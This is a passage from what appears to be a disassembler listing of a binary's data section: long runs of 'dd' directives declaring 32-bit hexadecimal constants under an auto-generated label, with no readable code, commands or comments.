0DCD34703h, 0BCCF003Eh dd 16C028B0h, 0C758F087h, 60EA0218h, 0B1E32BDh, 274C499h dd 112A1911h, 982D1769h, 69B43D24h, 54F28CE4h, 0FA20F4B2h dd 586497A1h, 80EDE53Eh, 5D14302Dh, 5AB758Eh, 1EC35906h dd 6BB0CC4Dh, 0ECF2174Eh, 830C4300h, 9BDD28BFh, 0C7CE3Ch dd 6CBBA2CFh, 13F58689h, 86BE7D4h, 6643C48h, 0ACFF1C45h dd 0FD8AC2A4h, 4CE443C5h, 0B05452A9h, 0A5B601D1h, 116FA006h dd 69F8EBE2h, 0AE00FD2Eh, 8D7E4163h, 0BFD9BC91h, 0AFFE6C10h dd 0AAE1AD28h, 7224E4FEh, 0CC102079h, 0DC80B8C8h, 331C89BEh dd 0AC659F7Ch, 67143BBh, 1A0C3ED3h, 2220A9D7h, 0C4619583h dd 78D3FC62h, 6019409h, 0BB847338h, 0B88A127Ch, 0D044C266h dd 80741C18h, 2B97F38Bh, 0BFC09008h, 6CF4002Dh, 89500BEEh dd 0C7584323h, 0B08A4F94h, 0BC7D0E00h, 9BF43709h, 0BBD5ED00h dd 78E5DA39h, 0C3E2266Ch, 67F108CCh, 5044BDh, 0BF0614FDh dd 0F47D028Ah, 56021F4h, 4F80CCC8h, 0A33C4FEFh, 25FC03B0h dd 9964DE63h, 16C4C3CFh, 404D0032h, 83CCE568h, 5B888DB5h dd 0AF22015Ch, 0F471DA50h, 4965E034h, 5AB6F500h, 0F11A98DCh dd 0B0360F42h, 0F2323EC0h, 0A13C0018h, 1C72925Fh, 30C59D07h dd 1AD22E01h, 0AC528124h, 73AC18D4h, 8891F088h, 0F4A5A089h dd 24E79813h, 3E6A8F04h, 9DA4B0E5h, 2C746B40h, 60884824h dd 0C6881C42h, 64D878C8h, 94E72199h, 5A97F010h, 20851326h dd 2C53308h, 7D87E27Bh, 0EAA0872Eh, 59F824D9h, 7F263132h dd 71112090h, 407ADC25h, 0B7AA59A0h, 327DD800h, 11002021h dd 0B92439BEh, 0E933D34h, 2C6D9E97h, 0F28D4500h, 54120651h dd 0A0C08E69h, 0A490979Fh, 0AF10F984h, 3C1C7D10h, 46409ED8h dd 0A7B230DDh, 0A39833EAh, 228CE4F8h, 801829D3h, 0A8004F8Bh dd 13201E83h, 0A5167569h, 2B791C0h, 0D3107EDCh, 21BCA283h dd 0F58B0252h, 3A894D5h, 2F05E78Eh, 0DBA0FBC6h, 8600E496h dd 0AF7B7885h, 5E14DF43h, 4348023h, 0DB6080E2h, 18299CF8h dd 0CFF64C30h, 24C0095Bh, 386B5499h, 56EE8B4Ch, 0AC91505Ch dd 2DEBBB01h, 201168B5h, 519D1984h, 2424CE12h, 4C5030B1h dd 405D7213h, 4944D50Ch, 24F9F821h, 21B8789Fh, 0EDB780C4h dd 0B0DEBB9Dh, 0CDAE4A00h, 631C140Bh, 505E4D40h, 25ECEC7Eh dd 70043DF1h, 223C3265h, 0D8DE1B69h, 0EE3F6C50h, 0B5F20424h dd 0C1C4390Dh, 4AD7670h, 0FE3020BBh, 0EA00DFE8h, 0B9D46478h dd 124D15EFh, 385C01C2h, 69817164h, 20B9520Ch, 8ACC9E40h dd 4C8209D5h, 5C0013F1h dd 3C274D2Eh, 90A07878h, 71815B7Dh, 28DFC022h, 251443E0h dd 80A0733Fh, 0C3A3B4D6h, 4007ACEh, 0F319DBADh, 18677EEEh dd 0F0AE7098h, 1C80B13Eh, 22624A04h, 79292DD8h, 0F51F0040h dd 9256E59Dh, 0B0369B60h, 94366F8Ch, 116747E8h, 7B1768DCh dd 18A5CC5Ch, 91CD10h, 0B273AAA8h, 0F2E98668h, 0F8DEB300h dd 224EC635h, 434CBA6Ah, 0E3462241h, 64818C42h, 47680004h dd 0D293FDECh, 5E4B2142h, 8CF2A4C4h, 0B8655712h, 0CD9AC034h dd 79514987h, 1EDE00AFh, 5EE598E2h, 784F1902h, 640C9808h dd 0FC3D4358h, 0CC4BF78Fh, 259E4F18h, 85E046DCh, 2425A14Eh dd 0BE88A478h, 231830FAh, 660E4312h, 0C2D56B58h, 0A2397289h dd 576A7F5Ch, 0F2E6E890h, 0A0194200h, 92DABAC3h, 10DF09A7h dd 50DECBA1h, 0D811DC4Ah, 225B9F3Fh, 30E2ED68h, 0E69F8CF8h dd 57C10090h, 199BDE21h, 8309C488h, 54D551A4h, 91964148h dd 19D670FBh, 0BE27AB16h, 657E540Bh, 5444A540h, 0FFF53600h dd 88069A05h, 0A8F96494h, 1CF131ECh, 4CD4AC04h, 2287B070h dd 273A139Dh, 73AC333Dh, 0D8BC08B0h, 0C38D7700h, 3743277Ah dd 0D1154BDDh, 582E62Ch, 536A1C09h, 53C8028h, 0A5129BA0h dd 0AF1B8D14h, 80B3B4BCh, 39552880h, 6601E40Dh, 0E21FAC5Fh dd 0C4219F36h, 0FA0969C1h, 29061C22h, 530D0C68h, 0F49B0C90h dd 0C93AA300h, 0B76FB14Ch, 2DC4D881h, 4CE0351Ah, 664B5FACh dd 0E089C88h, 0D2048CF2h, 0CE138E81h, 0E171C43Eh, 0DC81570Fh dd 2F3064D6h, 0B4E244C3h, 69C460ADh, 3D18E413h, 159E3500h dd 41C5F61Fh, 0C4FCBE3Eh, 30F032A0h, 0B8837031h, 88E37Fh dd 3AF69D1h, 5D96ACFCh, 1152FF00h, 2F29D4B8h, 98A40E04h dd 0CC141BEBh, 0F7D2CDB0h, 38232B02h, 8297DEA0h, 1368FCACh dd 0E23D40ACh, 4B5CCABBh, 0D868C8DCh, 0CC0F3401h, 0EFED264Eh dd 0A99CCh, 0FF819811h, 249A8057h, 1BEE8C0Bh, 27285907h dd 95370802h, 151C6801h, 7548222Bh, 6EF11420h, 0A4149136h dd 0E490A774h, 20004C2Bh, 0C390481Ch, 0E026F4B5h, 949F1233h dd 304CA04Eh, 0CCE25D86h, 62E9B88Dh, 836B88CCh, 0F5AD5B5h dd 2C7D6090h, 8A135205h, 0A4A24ABDh, 0ED7BF612h, 0E5EF0860h dd 985025FCh, 1F4A8300h, 3DFF5A06h, 20BC4ECFh, 8AD7ECE0h dd 34D9A44h, 4195010Bh, 0F0B90214h, 487870E6h, 444BE542h dd 0AC7BDC88h, 2EC3803Ch, 9F59DA5h, 3E023D91h, 74C8905Ch dd 385497E4h, 808C1440h, 1197B933h, 296BC99Ch, 11E87C0Ch dd 1B2DA0DBh, 9544ACF8h, 4508004Fh, 0D23DE8D4h, 0F5002CB9h dd 0BB11621Bh, 4715F6h, 5EF2C9FEh, 0CB2ACA84h, 7660DE7Fh dd 373E1920h, 80A517CCh, 0B1C8C8EEh, 8E0AC900h, 21F86304h dd 24A4E838h, 16B45CFFh, 20583249h, 999F1421h, 0E821A023h dd 0A4E2E016h, 9ECCBA0Eh, 0F823BBC0h, 9F0EE366h, 4208EEEDh dd 0C8DA2991h, 8061512Ch, 4D3C1F75h, 0F8D080A8h, 0F10A699Dh dd 55D0C0C0h, 497E479h, 9C719E01h, 730BACBDh, 0FBE86C34h dd 0A9F49F13h, 649D8878h, 78784D29h, 8B015CF5h, 0A04828F4h dd 58393063h, 0A80024FEh, 0DD985AD4h, 5600640Bh, 196BC12Dh dd 770A218h, 0FFEE4837h, 0F85C79AFh, 1A0D000h, 0F7BF2B8h dd 8A7F576h, 0E3266F80h, 7276A8ABh, 0F031684Eh, 0CE010F9h dd 1C0495DDh, 2BC43214h, 4300E04Eh, 0E0A5FDE7h, 0B50D5DF3h dd 0A215CC98h, 3CF543E6h, 99B12070h, 0E4398080h, 0DE464892h dd 18589DE4h, 0D0CC4818h, 0E0C94EACh, 1ED8C6F8h, 43EC38EEh dd 0BB86B749h, 9118A821h, 28F05AB6h, 51091B5h, 0C261879Eh dd 685C5FA9h, 58D21916h, 0C0887E98h, 552575A4h, 9A7DFE03h dd 0D8AE86E1h, 9489E5D7h, 13602814h, 0BC1BED88h, 847F8904h dd 0BE320844h, 6C385429h, 5C849618h, 0C2967095h, 0B4C8C680h dd 39BD86CAh, 80AE78C4h, 12804D88h, 0B21920D4h, 194DC3Ah dd 0EEAD6202h, 5EA4E131h, 0A39E0884h, 6BF37880h, 9B0871B4h dd 409C4460h, 889FF0Bh, 67C100C7h, 96E9C35Fh, 0CC5C9BE7h dd 0AA022DCh, 8697B68Ch, 50102594h, 0E47F3BB7h, 4594B550h dd 0EE7C24EBh, 5F0C944h, 0AEF093Dh, 98F816BDh, 6410F31Ch dd 6F18713Ah, 331BD407h, 0B5F19C06h, 2F70885Fh, 0D044F38Bh dd 51DD3C27h, 93ED0018h, 0C5AB2C0Fh, 4477325h, 0ACB17F48h dd 1C17F473h, 58ACD809h, 7D40069Dh, 2C5B4228h, 9E58B805h dd 0DB360066h, 95A12777h, 11F9A8Eh, 0C42E9B11h, 283F60C0h dd 0B6E30CCAh, 0DCC087FFh, 24E2134Ah, 80A92900h, 0AE89AB58h dd 934865EEh, 8F6000CBh, 0FE6483E2h, 42EB01F6h, 48A081FDh dd 0F32420DDh, 0B908F494h, 4925B853h, 5700B4CEh, 43CD25BDh dd 0A145E335h, 223A6CCCh, 9810D1B4h, 6D44848Ch, 0FFE9005Bh dd 0FCAB8759h, 0B80F69E0h, 0D35A659Eh, 309FF8B0h, 8B397F9Ah dd 649F59C0h, 31B00A4h, 9CC7F7E2h, 0FCEB104Ah, 0B876F118h dd 131C262Fh, 6FB0970Ch, 0AB8C37h, 6EEAA171h, 7889FD68h dd 4ED02812h, 19831409h, 851091B0h, 88B27AA0h, 0EC894778h dd 84B88508h, 12679421h, 8EECA257h, 40A2617Bh, 0DCF1E8F1h dd 9C3C206Ah, 257FC539h, 5988207h, 68F13A0Ah, 1023231Fh dd 79138874h, 2067AD26h, 240B253Eh, 0A0B48B38h, 304A00F2h dd 48ABEF61h, 8A02EDACh, 0F327AA70h, 0C1E884F1h, 484E0121h dd 0EB40B650h, 4CD5B074h, 0F01254B7h, 4230E4B4h, 0C897230Fh dd 442DEEDCh, 0B0B35865h, 4411DA1Ch, 923756DFh, 8C9A8C8Ch dd 7640AB55h, 950F021Ch, 88DE73D4h, 0A277DA40h, 3B923981h dd 0E92965FCh, 0A6F820B6h, 95125BFFh, 0EE7577h, 6963452Ch dd 0AB012604h, 1916CC72h, 0C82ED9B5h, 9F001A1Ch, 12C701DEh dd 197A4Fh, 295965C2h, 0ED5C2CEFh, 99829A00h, 401135E3h dd 73316D8h, 0B394D858h, 0FD237B00h, 0B21388Ch, 0E887302Ah dd 0B1C06410h, 0EB19290Bh, 135C18D7h, 0C9B01685h, 0FC49129Bh dd 0FD1CC400h, 10F11CE5h, 8403F44Ch, 0C00B8B2Ah, 83969F11h dd 0C4583C56h, 0E1706817h, 3079CC6Ch, 0E48E788h, 0D0783CBFh dd 0A78E40FDh, 189A2C1Eh, 4C086F00h, 9219E537h, 0A0574C79h dd 0C1CEB048h, 5D9B3143h, 4B592013h, 2B001CE6h, 0AC528D80h dd 0B4013147h, 5CE6EAF6h, 0E1207936h, 2C20E939h, 41A9DC3Eh dd 0EC7D538Fh, 0A0D82ECCh, 0CC1B4AF0h, 841E40h, 588B118Ch dd 7FF2DD1Fh, 0ED8D3100h, 0DA6B9EC7h, 0EA020FC6h, 430A8772h dd 57F20A08h, 41C0A14h, 10140268h, 0F8601EC2h, 9D09B687h dd 1164FE22h, 0A3C4E19Ch, 19940099h, 862621EDh, 9D073152h dd 7377B37Dh, 12FEDA11h, 4088627Ah, 4FC01043h, 0C700F53Fh dd 679DEB06h, 4A59B8C9h, 1D80F2E9h, 8D4F4208h, 0AE558020h dd 74F06FD3h, 52A213C4h, 0FD6088EDh, 6B24FA1Fh, 828980C3h dd 0DCDABB50h, 0D04808BEh, 0D47BF300h, 0F0FB41BFh, 0A053F047h dd 9756508h, 99CA4D3Dh, 1B443C52h, 0CB1EEA69h, 100AC669h dd 48176018h, 720E402Fh, 205FA38Fh, 8BFA51CAh, 82FB05CEh dd 0AE70AB7Ah, 0D1DDD832h, 0F51C18h, 7BD8245Ah, 0BD009953h dd 5C221995h, 20A1DD4Eh, 8B0B07DFh, 0FB4A021Ch, 47DF8094h dd 7E0A39D4h, 4BA6EE00h, 8B8ACCD6h, 0B98090B5h, 1A3C0064h dd 19DF668Eh, 41505C1Ch, 0AC4D08C0h, 0E76FD6h, 0A1F6B5B3h dd 942B3998h, 9C6EBDh, 0E9777B70h, 0C5996B1Bh, 5EA0B800h dd 3C8EDD06h, 0A1C1487h dd 1889985Ah, 0A6510856h, 3ADE60h, 38FBBCF3h, 0B8D5EB1Ah dd 1600D071h, 0F5318A28h, 4BC301E3h, 2EC8A3AEh, 6026247Bh dd 53E5801h, 123E6DBFh, 0ECE27Ch, 2470A05Ah, 1DD96E7h dd 555EFC99h, 80B093F8h, 0D7096DE8h, 2D7E6A5Fh, 0F4618871h dd 0A19C6C10h, 7DD8B38Bh, 616302ABh, 506D5468h, 2A4A48C1h dd 458BD02Ch, 68112BF2h, 765389F4h, 0F5B3E048h, 0D41636B0h dd 0F01F9917h, 0E5DF1080h, 57006A8h, 858B199Ah, 8808ABCBh dd 0FC3D8231h, 107716ACh, 0ECAD6638h, 175AFE89h, 0EC88E3FFh dd 13D862F0h, 945036h, 0ABCDCC9h, 0F62D19E9h, 3F629D02h dd 99073ED8h, 5CF29FA4h, 60EA44C4h, 1F3AC0DCh, 2EB2FD43h dd 45EA0B70h, 3C53A989h, 69356300h, 5DB7B4h, 465C37A1h dd 0E748E57Fh, 0C6102D16h, 0BAD29C0Bh, 1BC42210h, 0B8B02B24h dd 9D44A39Fh, 804CB1DCh, 5C3806Ah, 150722F3h, 14B7F9DDh dd 27BE3AC0h, 0C07539CDh, 9D3CB8FCh, 99CA3CB0h, 700A7F82h dd 401B6424h, 59BA54BEh, 0E5D8002Ah, 0FCD02C9Eh, 844B64D9h dd 420A7CE0h, 9E2265h, 944E75F9h, 3BAC115Ah, 0D70906F0h dd 84C1A28Ch, 4B0878ECh, 0B00078A5h, 9ECBA14h, 2A79AF15h dd 0DF037CD6h, 8DB25927h, 42CF3CF0h, 82A109B7h, 14C4FB72h dd 3800ED47h, 0CD49E73Eh, 647A4324h, 0E6B8FE05h, 5680F3D7h dd 0B7E9AC04h, 63982410h, 67E5B400h, 717C12FBh, 3D8925CEh dd 78966879h, 8A10B027h, 733219A9h, 72F125B5h, 13027CD8h dd 97EC18C6h, 0E0B05780h, 0DA1741B1h, 0D830D86Ch, 0E44D389Eh dd 55670202h, 0E097E71Ch, 5730815Dh, 0C13BB29Fh, 0E15141F0h dd 789CE50Fh, 87E2C040h, 1BC25A6h, 9885FD22h, 0ED2DFFF9h dd 658DE0EFh, 0CA3038h, 4AD6EDBAh, 12842288h, 60069909h dd 11C36C20h, 0C22DE300h, 0A1D79F21h, 0F7260018h, 20075868h dd 155424CBh, 0E70013D4h, 0F318376Fh, 2CD94Dh, 0F27EB851h dd 0D522FB53h, 5B967801h, 0DBC5B91Dh, 0E9803868h, 410D9463h dd 5452A502h, 0C12773C4h, 1C1015D8h, 0C4B47608h, 7595B541h dd 0B400602Eh, 0DB005848h, 9FF84AD4h, 1E7F2F1Eh, 409891D5h dd 0AA1DC566h, 920934D7h, 14F58B23h, 331E2DB0h, 56963071h dd 0B78FECE8h, 0B15FB547h, 0D44F571Eh, 0A9003B40h, 92DE6DDh dd 169675D5h, 30A57BC5h, 4E85AD7Ch, 0D002AF00h, 35243FC1h dd 0D4C807BAh, 0C0773E69h, 0DD9B11A8h, 9744F890h, 0C1B67C88h dd 15F57179h, 0A8007BEAh, 1B21DC22h, 12D70BE7h, 0C8666CF0h dd 0BE6A49A0h, 3CD090A1h, 805300h, 0E844B28Eh, 98AF129Dh dd 68B620F4h, 74C0E09Fh, 206F58B4h, 0DD6C5203h, 84EF8F7Ah dd 0A0CCB8E9h, 4566CAh, 99B4ACBBh, 6D61E024h, 3C188502h dd 52021569h, 66072144h, 24E2CA3Bh, 0C94E409Fh, 79560897h dd 0B8C05995h, 3161FACCh, 7EB9D2C5h, 1CB73C20h, 44090F6Ch dd 0DF0A857Dh, 7ADA0208h, 40781779h, 1044C2F7h, 4D802491h dd 3E751155h, 0BFC102E5h, 9F7E57C4h, 7F651040h, 2C808E4Ah dd 5DDF44Fh, 0FF1C6378h, 0F50F745h, 613CA53Bh, 97319862h dd 0E453586Ch, 0BD4EFD01h, 0D86D9E96h, 2C2620BFh, 0D108862h dd 52B8F028h, 0EA00E0E7h, 0F1A43B1Bh, 28A10997h, 0C094287Eh dd 0C26EF2DCh, 0B4AD2C95h, 0DF8C0E38h, 5180DDAFh, 0D5B3F320h dd 0AA659E00h, 4AF903E9h, 0A03DF081h, 0A279F208h, 0C698C214h dd 918F9820h, 0B4FD0024h, 0FEF00E23h, 68D8B934h, 85170809h dd 0E4841398h, 64119CADh, 0C8BB006Ah, 1CAA16F5h, 63FA0083h dd 1EB48946h, 0A8C0655Bh, 0ECD19C56h, 49F61C93h, 0A2B58023h dd 65DED353h, 111703Ah, 0CBE9249Dh, 0A870A9A5h, 61616A0Ah dd 0BCD92D30h, 9B310E40h, 0C1D10004h, 32FDE43Ah, 6F0267E2h dd 48B68CD0h, 0F6884278h, 0C8170BFCh, 0FAC0847Eh, 3AFCDC19h dd 0A3007087h, 0D67C7E1Eh, 0E04781Fh, 6379697Bh, 0AF020BEh dd 1C27D9A5h, 238D2DBh, 0B29DABC5h, 445B94ECh, 978FBD02h dd 0BB825FF3h, 1C5696EAh, 8A3150h, 0EEA7C4F1h, 6F7521D9h dd 4C20854Eh, 0E42D32AEh, 2E6524F1h, 0AC02002Eh, 0F891B5ABh dd 0CB01951Ch, 3C5BEDh, 0D75A306Bh, 6916E96Ch, 1CB81B33h dd 0B9F18B82h, 8D449CF6h, 62BF4E40h, 891C63B1h, 68836BD7h dd 0F85B6561h, 22920EA3h, 0E9029B8Bh, 76C1B62Eh, 0DD76ECh dd 0F11B6E14h, 899FA134h, 2A47888h, 75EAD1C9h, 117F419Eh dd 903B7D40h, 4FA8A468h, 9095EC2Ch, 0F5B86227h, 981E5416h dd 9AC71347h, 23852A0Fh, 0C0800CBCh, 0A0695EB2h, 0AC933Ch dd 0AF75E8CDh, 9AB54E3h, 0EE8F7B4Dh, 2C7CEC09h, 95221D6Eh dd 4E9DB882h, 18C0DC7Eh, 13F2EA09h, 0A9158F3Bh, 4AFC9078h dd 7B80C8ACh, 6B3B8EF4h, 93E46300h, 66D0FF90h, 0DDD6029Ah dd 584ED139h, 8040005Eh, 9B84FB0h, 254B0B37h, 13E414F4h dd 1ACF000h, 0CC74EAD7h, 58F2DB13h, 0C121C1Dh, 0D6C888h dd 42FE5B1Ch, 873F799Ah, 12F81256h, 0E0A82171h, 2814BCA2h dd 2D87005h, 5C58E709h, 0C882727Ch, 0B9206F0Ah, 4A441708h dd 20940041h, 0A37B3DFBh, 144010B5h, 9C113CAFh, 60D3AC80h dd 4922CC0Fh, 0F3F52F50h, 4FC80D00h, 0F2D66694h, 3C0CA082h dd 9F670133h, 0E013458Ch, 7D0C209Eh, 6E254400h, 873A72E9h dd 86753BF7h, 886B8116h, 2D005AF4h, 854DB1A9h, 39A7CF9Fh dd 0E6BD4A6Ch, 0E0250225h, 0C4C0FC7Dh, 5B329322h, 0CB657h dd 81E2A16h, 0ED3C8815h, 0F487F507h, 3700CF7Ah, 5AC519D5h dd 5EC5BC01h, 2C2C18A1h, 0F7735580h, 2A3968DFh, 41C400B4h dd 27CE648Dh, 7E5B039Dh, 0F81C030Dh, 0A76F81h, 0C01A1068h dd 86343D41h, 0B87C53DFh, 3E1490BDh, 9FB20AB7h, 0C758E9A3h dd 0AAA6B308h, 689729D8h, 0D5DFB00h, 6A4096B7h, 5EE702D2h dd 85EF07CCh, 0A48880D4h, 0ECD64999h, 5166640Ch, 278B0063h dd 0B81784CDh, 1C00B00Ah, 53705271h, 4CFA48B2h, 7414F08Eh dd 0A897AC15h, 21417BA0h, 886C6C60h, 0A35FE88Bh, 84607C9Dh dd 0D8520007h, 0CD22C18Ah, 4E7577DFh, 270BAE3Fh, 934715Eh dd 1020E17Eh, 592868A4h, 13C81B48h, 2C2254F2h, 3CF24022h dd 4030B42Ch, 0EDB1A425h, 0AB07BA70h, 0BC3AC9A1h, 4329C3CFh dd 0CA4E4CDh, 10D571B9h, 80171368h, 0D52F2E2h, 5BB09002h dd 901494CDh, 0ED5416D4h, 0C000AC59h, 0B8356E88h, 0A6E20005h dd 732471B2h, 0EE0087A3h, 30A98AFDh, 111D08h, 0BEAE64B6h dd 0E9ABA524h, 190B522h, 0FC92B121h, 0DC1AD2DDh, 59001603h dd 0F554CA96h, 1272F1C6h, 30050865h, 7DC98C40h, 2B9DEE16h dd 1E42847h, 1CF3A7C4h, 11E4142Ch, 2CE2C7Eh, 0C3483400h dd 4AE63DE4h, 77F0C833h, 57816E0Fh, 0AE8463E1h, 0C0D4E435h dd 0CFC084ACh, 0C67FE2B8h, 0C5D8E660h, 0BEF9BEACh, 0B8A44018h dd 86013F4Bh, 0F15BF3D2h, 4DE42A0Dh, 8864001Ch, 8C1DBF2Fh dd 0B14DD6Bh, 0C0FC57D5h, 4E9CF013h, 0CB5C9CA5h, 0F488C854h dd 0C8C4ADA4h, 44E16F00h, 0E287963Ch, 579DA0CBh, 0CF5B0289h dd 869C9FFBh, 49007C46h, 4B120351h, 0B71338C7h, 0B9DC6Ch dd 0A781C001h, 24731ED9h, 97BE0300h, 0F732D867h, 0FE7EA100h dd 17148BA9h, 6CED169Eh, 8DC8881Ah, 0D8335300h, 39D4A0B6h dd 0A0735861h, 0DF0AA848h, 1DC24CDh, 7F019689h, 111300B7h dd 0BC861DECh, 82FD82B4h, 8B611AF9h, 48B827F1h, 8566C040h dd 9FC407h, 248E4AD8h dword_55FB48 dd 52D9CB5Ah, 0F0759A01h, 0DF61A357h, 7DAC002Fh, 92E98B95h dd 7704428Ah, 59016487h, 0B420F8DCh, 9F09A44h, 1F694797h dd 0BF7B4C98h, 0D82544A2h, 0F00BFF1Ch, 6450D953h, 0DD7F2208h dd 9E41E814h, 269321ACh, 5F36888h, 0BE805645h, 44BE0025h dd 0A94488DCh, 0DC3D4ED0h, 1CE4816Fh, 14304101h, 3B6431E2h dd 0D40B1820h, 805F0052h, 82189079h, 3B023E27h, 72E7E942h dd 0C878641Dh, 698B68C8h, 582CF618h, 0F2554DEDh, 0C776D858h dd 11122300h, 0F1CA1EDBh, 2294AC97h, 3D12281Ah, 20BEAD07h dd 92451670h, 7E1E4800h, 222FBD5Ah, 33FB00E0h, 73A09A58h dd 830312D6h, 6BF3DC81h, 6E700BCFh, 78895F3Fh, 44BA4D6h dd 70A23D5Fh, 0A7F70B00h, 0F824693Bh, 217E7D00h, 0B6D164EAh dd 452A0050h, 0D9B5B93Ah, 0FD2C952Bh, 89392296h, 5CE877C2h dd 0F283122Ch, 0ADC80070h, 5543B988h, 79B74BCh, 0AA40E60Fh dd 0DD8680AFh, 0B09050B2h, 16501095h, 2CBE0007h, 0A8758749h dd 2D2765F2h, 7E8CD002h, 0BCF40BABh, 0D5DC6Eh, 0A9B59194h dd 749B0027h, 72F016CCh, 0DC009AFCh, 9C383B6Ch, 0D128DE3h dd 6049A293h, 2063F8h, 25B7C3FDh, 2BE0C57h, 0D085CF41h dd 644AE707h, 99520C1h, 521B69E0h, 6425CC32h, 0B03F1820h dd 6D0BC26Ah, 0ADAB804h, 54698CE4h, 4F00BBC8h, 6405D719h dd 9481BEAh, 88E1DC1Ch, 0C79373FFh, 84576830h, 8B3E1FC2h dd 3F38C0C3h, 0AB4B17D0h, 987E9A25h, 0EAD3E4h, 77FA966Fh dd 22DC67EFh, 344695h, 2E73F2D5h, 3DF7FDF6h, 89BF050Ch dd 5BA3F127h, 0D2C2898h, 0D5AD4400h, 0E62F31FBh, 0A598BBh dd 1B98E0BCh, 33D0FD1Ch, 0F08CD431h, 0B0208F7Bh, 1B2E84DCh dd 7A6054EDh, 0B2050Eh, 0DB419DC0h, 58271CB5h, 5D7D457Bh dd 5B093176h, 0F4CEF2DDh, 506D1974h, 0FF60804h, 0D44F479Dh dd 0F1A33B83h, 0E84268C2h, 4489875h, 1FE8F6BEh, 1387AF2h dd 6E9E9140h, 0E6F0F36Fh, 90A0A6EAh, 0A10268F2h, 91F37639h dd 98A97D22h, 0B15D6872h, 9FF42034h, 8C5E98C6h, 0A02200A6h dd 0F85BA800h, 0ABA336Bh, 0B5600062h, 0DB39D729h, 791C656Eh dd 8FD24DFAh, 9B82C030h, 98DA243Dh, 0DC20058Ch, 90E213h dd 5FA7B043h, 7BB79C9Bh, 0C82F0072h, 8BEB0699h, 98A0D2A2h dd 0A5011C68h, 7F3E0588h, 902A5DEEh, 0F6D786F4h, 4619A02Dh dd 97E68Ch, 0D91FEB14h, 0B183E3D4h, 0BDB64202h, 0C213E75Ah dd 970FE4Ch, 0F07C957Eh, 22203C42h, 0C02985A0h, 14E2DDA0h dd 0ACFD39B9h, 2677CE0Eh, 12E03A6Ah, 0CFDCB9E8h, 283FA0B1h dd 31CE2C72h, 911994BDh, 60CA6EF3h, 64CCB34Bh, 0D4F97650h dd 26B82292h, 1E00D070h, 0E8AACDF3h, 2FDC9D6h, 0DF728C09h dd 58D6BE82h, 80CB4709h, 0AD3E6618h, 0E4C1307Bh, 81BF008h dd 9A5024B4h, 0D2960078h, 84E12FA2h, 9400906Bh, 528C9F71h dd 18FE213h, 0AB7AF403h, 7CEAA404h, 6E5F01D0h, 667912DBh dd 0D73DC19Ch, 0C4ECEC69h, 1A8223DDh, 50B2DD82h, 0CE0014DCh dd 92E112B4h, 7DB300C1h, 44A6FC20h, 5400699Dh, 120EE210h dd 0F64294E3h, 0D743048Dh, 0EA6678EBh, 71725400h, 0B5B24614h dd 6130490h, 0E6B9105h, 0A8C16C4Eh, 9C629B9Fh, 9ED4E041h dd 0A34A0769h, 489DE43Eh, 194EB01h, 823A7ADBh, 3975F4DCh dd 0D9830F00h, 0BFEC8EF0h, 732040B6h, 0A2ED4E91h, 78204EB0h dd 1AA2F92h, 2732E8C1h, 3BCF3B50h, 0A55D7A0h, 5E041C78h dd 0F8F449F8h, 8BD0EB40h, 0B0210051h, 7597845Dh, 0EA4BCDF8h dd 1D5E58B3h, 1CE26518h, 0E8CC307Ch, 0A88CC072h, 7B3443A2h dd 8289E5Ch, 449D0D7h, 4385B4F0h, 0B867931Ah, 260C9E94h dd 0C3946h, 58F3D68Ah, 785ADCFAh, 6E81C30h, 2B022DB0h dd 0C59FE0D8h, 30D9AF84h, 0D6A0D000h, 14DDAF2Ah, 0A8ADCFF3h dd 2D1DDF11h, 8646Dh, 0E99F67DDh, 0A137D491h, 0BA488500h dd 21140881h, 4D9D01C5h, 9F1E69FAh, 0F813D894h, 798BDB2Dh dd 842290A8h, 20A21D5Bh, 25020F7Bh, 409D6780h, 9CB0701Ah dd 0E2000D52h, 7544C5C4h, 6FB63801h, 0F501D122h, 0D18B6D88h dd 1B58420Fh, 69413474h, 61AF2F13h, 45399090h, 3B00C4F2h dd 0A33124EBh, 247B285Ah, 781323h, 0D22C37Eh, 9C48ED64h dd 0A440961Ch, 69581460h, 5034BC17h, 7A017106h, 4E5D52F2h dd 3C33263Eh, 4A48130Eh, 7E81B41h, 0EC8A3B70h, 0C226C584h dd 57121940h, 81AE499h, 0F13368B6h, 1C405EBh, 0E61C88D3h dd 0A3774A86h, 0EB050068h, 0F8E445CBh, 0D5A40164h, 8835C549h dd 0F0002B91h, 0EBBBE26Bh, 20C90ECh, 6965CC0Fh, 48829D15h dd 14227509h, 948E5788h, 64F8FC92h, 192140B1h, 63D1021h dd 99F13D78h, 160B7316h, 0C0288944h, 15054A55h, 1E729E12h dd 0BFF310F0h, 0A9009C45h, 5739C299h, 71BC3AE1h, 18262900h dd 942104DFh, 0F8A2985Eh, 347EE989h, 28BAE573h, 75EC6658h dd 8850A600h, 60018BECh, 7A520332h, 9853393Bh, 0A77384CCh dd 7E145434h, 0C0862526h, 95251911h, 2200CC67h, 61D91480h dd 9A7809A9h, 9850C11Fh, 926E7B0Fh, 0F36F8062h, 2A68C055h dd 7C341817h, 3B0B02BDh, 0B92FDB65h, 7814885Fh, 1B9BA502h dd 2724E429h, 5464CD74h, 91494300h, 61470EDEh, 0BB90913Dh dd 155B8000h, 0F67ECA4h, 5CE7481Fh, 49237982h, 2685CC9h dd 4B256D1Eh, 96054444h, 0D1E91C95h, 30F9BCCCh, 2E422841h dd 5E0039D6h, 385FC713h, 7D6DAB74h, 655B01A7h, 7BCC8A85h dd 608337Fh, 3533FD41h, 0D170002Eh, 8F6B464Ch, 5E3A6CB0h dd 55D70BC8h, 9F88B9BEh, 0C3FC3810h, 75236000h, 0A1015B3Ah dd 1EE80312h, 0AA0B8444h, 9C08EA85h, 0B8F81631h, 0B0B35A00h dd 11D4B800h, 0FA7AC722h, 0C4DC1C17h, 8C86E16h, 487600EEh dd 76ABF7Fh, 433F032Ah, 4A5202DBh, 701E062Eh, 0B41F2048h dd 3CF07A13h, 4300DCA2h, 511B9CFAh, 7200DD0Ah, 61A65EDh dd 57E75Ch, 3F5B3278h, 0F1101E21h, 50129330h, 0BCB72311h dd 0E5C7C4h, 0A8A4DBCAh, 8F829607h, 2BE9A011h, 801CF380h dd 0A92B96AAh, 320255E2h, 9844AC29h, 0C010FD09h, 628A341Ah dd 804CC584h, 0BA0305A9h, 25029589h, 0BE49B8B5h, 820C5986h dd 2057AC7Dh, 48D90889h, 42AC814Bh, 72D0E006h, 708B9F11h dd 790AE064h, 0A606BFC8h, 5114551Eh, 8B680B08h, 103471F1h dd 0EB788795h, 403C54BBh, 0FC718A3Ah, 7011F227h, 4F55F0B8h dd 984C82E2h, 43C83257h, 7683A499h, 52184BA8h, 7FF8E2F8h 